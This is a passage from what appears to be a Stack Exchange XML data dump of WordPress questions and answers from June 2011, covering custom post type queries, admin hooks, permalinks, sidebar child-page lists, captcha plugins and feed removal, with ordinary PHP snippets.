endwhile; ?&amp;gt;&#xA;            &amp;lt;?php else : ?&amp;gt;&#xA;            &amp;lt;h2 class=&quot;center&quot; style=&quot;color:#FFF;&quot;&amp;gt;ERROR&amp;lt;/h2&amp;gt;&#xA;            &amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6381" LastActivityDate="2011-06-24T23:28:06.697" Title="Wordpress, custom post type and posts query help!" Tags="&lt;posts&gt;&lt;query&gt;" AnswerCount="1" />
  <row Id="20643" PostTypeId="1" CreationDate="2011-06-21T21:56:26.720" Score="0" ViewCount="22" Body="&lt;p&gt;Receiving error message when trying to view posts in one category within the admin area.  In addition to:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Warning: Illegal offset type in isset or empty in /home/content/79/7603579/html/listings/wp-includes/post.php on line 811&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;the may also error-out completely with a message that reads:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Invalid listing type.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This is a core system file so I'm not sure how, or if, I should try to edit.  Please help!&lt;/p&gt;&#xA;" OwnerUserId="5278" LastActivityDate="2011-06-21T21:56:26.720" Title="Receiving error messages when trying to select/view posts from one category only in admin area" Tags="&lt;admin-menu&gt;" CommentCount="5" />
  <row Id="20644" PostTypeId="1" CreationDate="2011-06-11T21:30:09.017" Score="1" ViewCount="56" Body="&lt;p&gt;I need to import my blog to a new host month by month. This should be no problem, but it seems that once I have run the import once it seems to break.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The error I recieve is &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Sorry, there has been an error. The&#xA;  file does not exist, please try again.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I have determined that it is most likely something to do with the database as I have imported a month ok, try the next month and it fails, but if I wipe the database I can import again. Whereas if I import once and try again it fails. If I then delete all wordpress files and upload a fresh install linked to the still existing database the same problem persists if I try another import.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sorry if that is hard to follow. This has been bugging me for ages now.&lt;/p&gt;&#xA;" LastActivityDate="2011-06-21T22:02:01.920" Title="Import Works Once and Once Only Wordpress" Tags="&lt;plugins&gt;" CommentCount="1" />
  <row Id="20645" PostTypeId="2" ParentId="20642" CreationDate="2011-06-21T22:20:37.090" Score="1" ViewCount="" Body="&lt;p&gt;You are doing so many things wrong there, for example, you should only use &lt;code&gt;query_posts&lt;/code&gt; once in a template file and on the main query of the page, anything else should be done using &lt;code&gt;get_posts&lt;/code&gt; or &lt;code&gt;WP_Query&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So to make you post types mingle you only need on query and you set the post type with an array:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php query_posts(array('posts_per_page' =&amp;gt; 6, 'post_type' =&amp;gt; array('work','post')));&#xA;if (have_posts()) : &#xA;    while (have_posts()) : the_post(); ?&amp;gt;&#xA;        &amp;lt;div class=&quot;postitem mall floatleft myblog storm_fader&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;postitem-img lordfade&quot;&amp;gt;&#xA;        &amp;lt;a href=&quot;&amp;lt;?php the_permalink() ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_post_thumbnail('type2'); ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&quot;postitem-contentwrap&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;postitem-txt&quot;&amp;gt;&#xA;        &amp;lt;h6&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink() ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/h6&amp;gt;&#xA;        &amp;lt;?php the_excerpt(''); ?&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&quot;postitem-info&quot;&amp;gt;&#xA;        &amp;lt;ul&amp;gt;&#xA;        &amp;lt;li&amp;gt;&amp;lt;span class=&quot;&amp;lt;?php &#xA;        if ($post-&amp;gt;post_type ==&quot;post&quot;){&#xA;            echo 'post-label-blog';&#xA;        }else{&#xA;            echo 'post-label-work';&#xA;        }?&amp;gt;&quot;&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/li&amp;gt;&#xA;        &amp;lt;li class=&quot;spec&quot;&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink() ?&amp;gt;&quot;&amp;gt;&#xA;        &amp;lt;img src=&quot;/themachine_v4/wp-content/themes/themachine_v5_2/lib/imgs/img_gopost.jpg&quot;&amp;gt;&#xA;        &amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;        &amp;lt;/ul&amp;gt;&#xA;        &amp;lt;div class=&quot;clear&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&quot;postitem-shadow&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;?php endwhile; &#xA;else : ?&amp;gt;&#xA;    &amp;lt;h2 class=&quot;center&quot; style=&quot;color:#FFF;&quot;&amp;gt;ERROR&amp;lt;/h2&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-06-24T23:28:06.697" LastActivityDate="2011-06-24T23:28:06.697" CommentCount="5" />
  <row Id="20646" PostTypeId="2" ParentId="20636" CreationDate="2011-06-21T22:24:26.803" Score="2" ViewCount="" Body="&lt;p&gt;When using other translation tools (other then poedit) like &lt;strong&gt;GlotPress&lt;/strong&gt; you can see the context in which the string for translation is called upon.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-06-21T22:24:26.803" CommentCount="4" />
  <row Id="20647" PostTypeId="2" ParentId="20639" CreationDate="2011-06-21T22:31:25.037" Score="2" ViewCount="" Body="&lt;p&gt;i believe the right hook for displaying the actual column content (each line) is &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;manage_{$post_type}_posts_custom_column&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;so change in your code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'manage_event_custom_column', 'event_date_column_display', 10, 2 );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'manage_event_posts_custom_column', 'event_date_column_display', 10, 2 );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-06-21T22:31:25.037" />
  <row Id="20648" PostTypeId="2" ParentId="20632" CreationDate="2011-06-21T23:34:12.953" Score="0" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/wp-minify/&quot; rel=&quot;nofollow&quot;&gt;WP Minify&lt;/a&gt; does the job quite well too. Little easier to configure than W3TC and integrates nicely with WP Super Cache if you're already using it.&lt;/p&gt;&#xA;" OwnerUserId="6382" LastActivityDate="2011-06-21T23:34:12.953" />
  <row Id="20649" PostTypeId="2" ParentId="20622" CreationDate="2011-06-22T01:16:29.497" Score="0" ViewCount="" Body="&lt;p&gt;if you want to show a bit more than the name of the author, there is this function in twentyten that you might want to use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;?php if ( get_the_author_meta( 'description' ) ) : // If a user has filled out their description, show a bio on their entries  ?&amp;gt;&#xA;&amp;lt;div id=&quot;entry-author-info&quot;&amp;gt;&#xA;    &amp;lt;div id=&quot;author-avatar&quot;&amp;gt;&#xA;        &amp;lt;?php echo get_avatar( get_the_author_meta( 'user_email' ), apply_filters( 'twentyten_author_bio_avatar_size', 60 ) ); ?&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&amp;lt;!-- #author-avatar --&amp;gt;&#xA;    &amp;lt;div id=&quot;author-description&quot;&amp;gt;&#xA;        &amp;lt;h2&amp;gt;&amp;lt;?php printf( esc_attr__( 'About %s', 'twentyten' ), get_the_author() ); ?&amp;gt;&amp;lt;/h2&amp;gt;&#xA;        &amp;lt;?php the_author_meta( 'description' ); ?&amp;gt;&#xA;        &amp;lt;div id=&quot;author-link&quot;&amp;gt;&#xA;            &amp;lt;a href=&quot;&amp;lt;?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?&amp;gt;&quot;&amp;gt;&#xA;                &amp;lt;?php printf( __( 'View all posts by %s &amp;lt;span class=&quot;meta-nav&quot;&amp;gt;&amp;amp;rarr;&amp;lt;/span&amp;gt;', 'twentyten' ), get_the_author() ); ?&amp;gt;&#xA;            &amp;lt;/a&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&amp;lt;!-- #author-link --&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&amp;lt;!-- #author-description --&amp;gt;&#xA;&amp;lt;/div&amp;gt;&amp;lt;!-- #entry-author-info --&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2015" LastActivityDate="2011-06-22T01:16:29.497" />
  <row Id="20650" PostTypeId="1" CreationDate="2011-06-22T01:33:16.877" Score="0" ViewCount="51" Body="&lt;p&gt;I have created a custom post type, but it just to list some data on a page and it doesn't have any single.php.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do i disable so on the post page when i click publish it doesn't show the &quot;View Page&quot; link and also how do i disable the &quot;View&quot; link in the columns for that post type.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="6386" LastActivityDate="2011-08-21T15:33:01.237" Title="Remove Post Page &quot;View Post&quot; Link" Tags="&lt;custom-post-types&gt;&lt;posts&gt;&lt;columns&gt;" AnswerCount="1" />
  <row Id="20651" PostTypeId="2" ParentId="20650" CreationDate="2011-06-22T01:44:36.020" Score="0" ViewCount="" Body="&lt;p&gt;when adding your custom post types, do something like this,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('init', 'product_register');  &#xA;&#xA;function product_register() {  &#xA;    $labels = array(&#xA;        'view_item' =&amp;gt; null // &amp;lt;--- this part did the trick&#xA;    );&#xA;    $args = array(  &#xA;        'labels' =&amp;gt; $labels,  &#xA;        'singular_label' =&amp;gt; __('Product'),  &#xA;        'public' =&amp;gt; true,  &#xA;        'show_ui' =&amp;gt; true,  &#xA;        'capability_type' =&amp;gt; 'post',  &#xA;        'hierarchical' =&amp;gt; false,  &#xA;        'rewrite' =&amp;gt; true,  &#xA;        'supports' =&amp;gt; array('title', 'editor', 'thumbnail')  &#xA;       );  &#xA;&#xA;    register_post_type( 'product' , $args );  &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;more on &lt;code&gt;$labels&lt;/code&gt; here &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/register_post_type#Arguments&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/register_post_type#Arguments&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="974" LastActivityDate="2011-06-22T01:44:36.020" CommentCount="2" />
  <row Id="20652" PostTypeId="1" CreationDate="2011-06-22T01:52:25.427" Score="0" ViewCount="53" Body="&lt;p&gt;How can i remove the permalink that appears when you publish a post becuase i am listing profiles on a page and it does not have a single.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;Permalink: &lt;a href=&quot;http://theurl/blalbal&quot; rel=&quot;nofollow&quot;&gt;http://theurl/blalbal&lt;/a&gt;&quot; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks&lt;/p&gt;&#xA;" OwnerUserId="6386" LastActivityDate="2011-08-21T07:32:57.847" Title="Remove Permalink On Post Page" Tags="&lt;custom-post-types&gt;&lt;posts&gt;&lt;permalinks&gt;&lt;publish&gt;" AnswerCount="1" />
  <row Id="20653" PostTypeId="2" ParentId="16097" CreationDate="2011-06-22T02:00:32.430" Score="1" ViewCount="" Body="&lt;p&gt;If you're talking about on post pages in admin, couln't you just grab it from the url?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;$post_id = $_REQUEST['post'];&lt;/p&gt;&#xA;" OwnerUserId="6388" LastActivityDate="2011-06-22T02:00:32.430" />
  <row Id="20654" PostTypeId="1" AcceptedAnswerId="20671" CreationDate="2011-06-22T02:55:45.460" Score="0" ViewCount="85" Body="&lt;p&gt;I've tried a number of solutions available on the internet, but none seem to work in WP 3.1.1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="1826" LastActivityDate="2011-06-22T06:23:06.790" Title="How to remove the comments feed from WP 3.1.1?" Tags="&lt;rss&gt;" AnswerCount="1" />
  <row Id="20655" PostTypeId="1" AcceptedAnswerId="20658" CreationDate="2011-06-22T03:36:03.447" Score="0" ViewCount="65" Body="&lt;p&gt;I need to display both a portfolio and a blog on a website, and as a relative newcomer to WordPress, I was wondering what the most effective way is to do this: install a plugin, or create a multisite?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Essentially for the portfolio page I just need to display a thumbnail, category, and title, but when each entry is clicked, I need a full, blog-style post. Is there a plugin that will do this, or would a multisite (ie, running the Portfolio as a separate blog) be easier?&lt;/p&gt;&#xA;" OwnerUserId="6389" LastActivityDate="2011-06-22T03:48:50.273" Title="Portfolio + Blog: multisite or plugin?" Tags="&lt;plugins&gt;&lt;posts&gt;&lt;multisite&gt;&lt;blog&gt;" AnswerCount="1" />
  <row Id="20656" PostTypeId="1" AcceptedAnswerId="20660" CreationDate="2011-06-22T03:42:08.763" Score="-1" ViewCount="48" Body="&lt;p&gt;I was looking at the section where you click on the author name on the homepage posts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and it says the Archive posts from xxxx authors &lt;/p&gt;&#xA;&#xA;&lt;p&gt;so I thought of that while ago I found that some website has it and they including the twitter of that author and their bio with the pic&lt;/p&gt;&#xA;&#xA;&lt;p&gt;this is one of the example I would say&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.redmondpie.com/author/oliver.haslam/&quot; rel=&quot;nofollow&quot;&gt;http://www.redmondpie.com/author/oliver.haslam/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to look for this kind of plugin or maybe I can edit this to have it myself&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but needed to ask if this been done from some plugin because I couldn't find one&lt;/p&gt;&#xA;&#xA;&lt;p&gt;all I see is the widget on the sidebar&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;For more information I have looked from the plugin page and the tags from wordpress official site about author plugin.... none of them are similar to what I want on the above example link.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="6390" LastEditorUserId="6390" LastEditorDisplayName="" LastEditDate="2011-06-22T04:04:46.177" LastActivityDate="2011-06-22T04:04:46.177" Title="Add author section on Author archive posts" Tags="&lt;posts&gt;&lt;archive&gt;&lt;author&gt;" AnswerCount="1" />
  <row Id="20657" PostTypeId="2" ParentId="20652" CreationDate="2011-06-22T03:45:43.317" Score="0" ViewCount="" Body="&lt;p&gt;Do you currently using any of the theme?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if so usually there will be an option for you to disable the permalink from the post in the homepage&lt;/p&gt;&#xA;" OwnerUserId="6390" LastActivityDate="2011-06-22T03:45:43.317" />
  <row Id="20658" PostTypeId="2" ParentId="20655" CreationDate="2011-06-22T03:48:50.273" Score="1" ViewCount="" Body="&lt;p&gt;Set your blog as Blog category and your portfolio as Portfolio category.&#xA;You might be also interested in Custom Post types (which I think is the right way to do it):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Run your Blog as a usual via Posts and set the Portfolio as Custom post type with its own categories, tags or what ever taxonomy you need.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Read more here: &lt;a href=&quot;http://codex.wordpress.org/Post_Types&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Post_Types&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Multisite is a completely different concept.&lt;/p&gt;&#xA;" OwnerUserId="4451" LastActivityDate="2011-06-22T03:48:50.273" />
  <row Id="20660" PostTypeId="2" ParentId="20656" CreationDate="2011-06-22T03:55:07.040" Score="0" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/tags/author&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/tags/author&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/author-info-widget/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/author-info-widget/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/author-bio/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/author-bio/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/author-exposed/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/author-exposed/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or you can use your own custom solution&lt;/p&gt;&#xA;" OwnerUserId="4451" LastActivityDate="2011-06-22T03:55:07.040" CommentCount="2" />
  <row Id="20661" PostTypeId="2" ParentId="20030" CreationDate="2011-06-22T04:06:27.053" Score="1" ViewCount="" Body="&lt;p&gt;Downloaded Microcast iPhone app which let’s you record and post podcasts to twitter and Facebook. No bells and whistles but easy to use&#xA;Microcast.org&lt;/p&gt;&#xA;" OwnerUserId="6393" LastActivityDate="2011-06-22T04:06:27.053" CommentCount="1" />
  <row Id="20662" PostTypeId="1" AcceptedAnswerId="20669" CreationDate="2011-06-22T04:20:38.127" Score="1" ViewCount="118" Body="&lt;p&gt;My pages menu is maximum 3 levels deep and I am having a hard time figuring out how to properly list the child pages in the sidebar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If a page is a parent I want to list it's direct child pages and the title should be this parent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If a page is a child AND has children of itself, I want to list only it's children and the title should be this page&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If a page is a grandchild, I want to list it's siblings and the title should be this grandchild.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For now I am using (from the Codex):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if($post-&amp;gt;post_parent) {&#xA;$children = wp_list_pages(&quot;title_li=&amp;amp;child_of=&quot;.$post-&amp;gt;post_parent.&quot;&amp;amp;echo=0&amp;amp;depth=1&amp;amp;sortcolumn=menuorder&quot;);&#xA;} else {&#xA;$children = wp_list_pages(&quot;title_li=&amp;amp;child_of=&quot;.$post-&amp;gt;ID.&quot;&amp;amp;echo=0&amp;amp;depth=1&amp;amp;sortcolumn=menuorder&quot;);&#xA;}&#xA;?&amp;gt;&#xA;&amp;lt;?php if ($children) { ?&amp;gt;&#xA;&amp;lt;div class=&quot;left-bar-content&quot;&amp;gt;&#xA;&amp;lt;h2&amp;gt;&amp;lt;?php _e('More ','sunchine') ?&amp;gt;&amp;lt;?php echo get_the_title($post-&amp;gt;post_parent);?&amp;gt;&amp;lt;/h2&amp;gt;&#xA;&amp;lt;ul class=&quot;leftbar-list&quot;&amp;gt;&#xA;&amp;lt;?php echo $children;?&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&amp;lt;/div&amp;gt;&amp;lt;!-- .left-bar-content --&amp;gt;&#xA;&amp;lt;?php&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And this is almost correct. Almost, because my it doesn't do my 2nd criterium.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Codex has heaps of options, but I cannot figure out which would be applicable to what I want to accomplish. Using widgets and/or a plugin is not an option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help is much appreciated.&lt;/p&gt;&#xA;" OwnerUserId="2015" LastEditorUserId="5337" LastEditorDisplayName="" LastEditDate="2011-06-22T06:46:48.180" LastActivityDate="2011-06-22T08:10:56.810" Title="how to properly list child pages in sidebar?" Tags="&lt;child-pages&gt;&lt;wp-list-pages&gt;" AnswerCount="1" />
  <row Id="20663" PostTypeId="1" AcceptedAnswerId="20664" CreationDate="2011-06-22T04:41:03.783" Score="1" ViewCount="69" Body="&lt;p&gt;In the WP-Admin when creating a post or a custom post type I want to restrict certain categories to a custom post type. For example, Posts will only be able to select Category A and B. And custom post type A will only be able to select Category C and D. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would I have to write some code to hook into somewhere or is there a function built-in to the framework?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="1878" LastActivityDate="2011-06-22T04:48:07.533" Title="Restrict categories to a custom post type" Tags="&lt;custom-post-types&gt;&lt;categories&gt;&lt;customization&gt;&lt;wp-admin&gt;" AnswerCount="1" />
  <row Id="20664" PostTypeId="2" ParentId="20663" CreationDate="2011-06-22T04:48:07.533" Score="2" ViewCount="" Body="&lt;p&gt;I think the best way to do this is to make a category (or &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/register_taxonomy&quot; rel=&quot;nofollow&quot;&gt;taxonomy&lt;/a&gt; ) for a specific post type...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;please see this link... &lt;a href=&quot;http://net.tutsplus.com/tutorials/wordpress/introducing-wordpress-3-custom-taxonomies/&quot; rel=&quot;nofollow&quot;&gt;http://net.tutsplus.com/tutorials/wordpress/introducing-wordpress-3-custom-taxonomies/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="974" LastActivityDate="2011-06-22T04:48:07.533" CommentCount="1" />
  <row Id="20665" PostTypeId="1" CreationDate="2011-06-22T05:03:17.597" Score="1" ViewCount="48" Body="&lt;p&gt;I am using &lt;a href=&quot;http://wordpress.org/extend/plugins/si-contact-form/&quot; rel=&quot;nofollow&quot;&gt; Fast Secure Contact Form plugin&lt;/a&gt; to create contact form widget.It working fine . Now i like to change captcha appearance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Original captcha generated by plugin&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/g9atG.png&quot; alt=&quot;fs contact form generates captcha&quot;&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But, I need to change it design like below&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/4zTTt.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any option available or any other ways to do this !&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance &lt;/p&gt;&#xA;" OwnerUserId="4022" LastActivityDate="2011-08-22T04:33:16.203" Title="change captcha design in Fast Secure Contact Form plugin" Tags="&lt;plugins&gt;&lt;contact&gt;&lt;captcha&gt;" AnswerCount="1" />
  <row Id="20666" PostTypeId="1" CreationDate="2011-06-22T05:13:22.823" Score="1" ViewCount="40" Body="&lt;p&gt;I am using  fv  wordpress  flowplayer plugin , i cannot stop the autoplay option. i have used the coding.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA; $videourl =&quot; [flowplayer src='https://s3-eu-west-1.amazonaws.com/brightstartvideos/Tester+2.mp4' splash=image.jpg autoplay=false]  &quot; ;&#xA;echo $videourl; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I put autoplay=false but it is still autoplaying the video.&#xA;Please advise me..........&lt;/p&gt;&#xA;" OwnerUserId="6394" LastActivityDate="2011-06-22T05:13:22.823" Title="In the fv wordpress flowplayer plugin , i cannot stop the autoplay option" Tags="&lt;plugins&gt;" />
  <row Id="20668" PostTypeId="2" ParentId="20665" CreationDate="2011-06-22T06:05:07.740" Score="0" ViewCount="" Body="&lt;p&gt;First, you should know that a image like that is very easy to read by almost any OCR. The first one is much more hard to crack.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, if you don't want to hack the existing plugin, you can use &lt;a href=&quot;http://wordpress.org/extend/plugins/really-simple-captcha/&quot; rel=&quot;nofollow&quot;&gt;Really Simple Captcha&lt;/a&gt;, it looks exactly like that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your form:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA; $captcha_instance = new ReallySimpleCaptcha();&#xA; $prefix = mt_rand();&#xA; $word = $captcha_instance-&amp;gt;generate_random_word();&#xA; $image = $captcha_instance-&amp;gt;generate_image($prefix, $word);&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;input type=&quot;text&quot; name=&quot;captcha&quot; id=&quot;captcha&quot; value=&quot;&quot; /&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;captcha-id&quot; value=&quot;&amp;lt;?php echo $prefix; ?&amp;gt;&quot; /&amp;gt;&#xA;&amp;lt;img src=&quot;&amp;lt;?php echo $image; ?&amp;gt;&quot; width=&quot;72&quot; height=&quot;24&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;after your form is submitted:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$captcha_instance = new ReallySimpleCaptcha(); &#xA;if(!$captcha_instance-&amp;gt;check($_POST['captcha_id'], $_POST['captcha'])) die('wrong captcha!');&#xA;&#xA;// captcha ok, remove the image&#xA;$captcha_instance-&amp;gt;remove($captcha_id);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1986" LastActivityDate="2011-06-22T06:05:07.740" />
  <row Id="20669" PostTypeId="2" ParentId="20662" CreationDate="2011-06-22T06:12:40.610" Score="1" ViewCount="" Body="&lt;p&gt;Here is the code that satisfies all your 3 requirements above.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/*&#xA; * get_page_depth&#xA; * Gets the page depth, calls get_post on every iteration&#xA; * https://gist.github.com/1039575&#xA; */&#xA;if ( !function_exists( 'get_page_depth' ) ) {&#xA;function get_page_depth( $id=0, $depth=0 ) {&#xA;    global $post;&#xA;&#xA;    if ( $id == 0 ) &#xA;        $id = $post-&amp;gt;ID;&#xA;&#xA;    $page = get_post( $id );&#xA;    if ( !$page-&amp;gt;post_parent ) {&#xA;            // this page does not have any parent&#xA;            return $depth;&#xA;    }&#xA;    return get_page_depth( $page-&amp;gt;post_parent, $depth+1 );&#xA;}&#xA;}&#xA;&#xA;$target_page = get_page_depth( $post-&amp;gt;ID ) &amp;gt; 1 ? $post-&amp;gt;post_parent : $post-&amp;gt;ID;&#xA;$children = wp_list_pages(&quot;title_li=&amp;amp;child_of={$target_page}&amp;amp;depth=1&amp;amp;echo=0&amp;amp;sort_column=menu_order&quot;);&#xA;&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;div class=&quot;left-bar-content&quot;&amp;gt;&#xA;    &amp;lt;h2&amp;gt;&amp;lt;?php _e('More ','sunchine'); ?&amp;gt;&amp;lt;?php echo get_the_title( $target_page ); ?&amp;gt;&amp;lt;/h2&amp;gt;&#xA;    &amp;lt;ul class=&quot;leftbar-list&quot;&amp;gt;&#xA;        &amp;lt;?php echo $children; ?&amp;gt;&#xA;    &amp;lt;/ul&amp;gt;&#xA;&amp;lt;/div&amp;gt;&amp;lt;!-- .left-bar-content --&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5337" LastEditorUserId="5337" LastEditorDisplayName="" LastEditDate="2011-06-22T08:10:56.810" LastActivityDate="2011-06-22T08:10:56.810" CommentCount="4" />
  <row Id="20671" PostTypeId="2" ParentId="20654" CreationDate="2011-06-22T06:23:06.790" Score="1" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;remove_action('wp_head', 'feed_links', 2); &#xA;add_action('wp_head', 'my_feed_links');&#xA;&#xA;function my_feed_links() {&#xA;  if ( !current_theme_supports('automatic-feed-links') ) return;&#xA;&#xA;  // post feed &#xA;  ?&amp;gt;&#xA;  &amp;lt;link rel=&quot;alternate&quot; type=&quot;&amp;lt;?php echo feed_content_type(); ?&amp;gt;&quot; &#xA;        title=&quot;&amp;lt;?php printf(__('%1$s %2$s Feed'), get_bloginfo('name'), ' &amp;amp;raquo; '); ?&amp;gt;&quot;&#xA;        href=&quot;&amp;lt;?php echo get_feed_link(); ?&amp;gt; &quot; /&amp;gt;&#xA;  &amp;lt;?php &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1986" LastActivityDate="2011-06-22T06:23:06.790" CommentCount="1" />
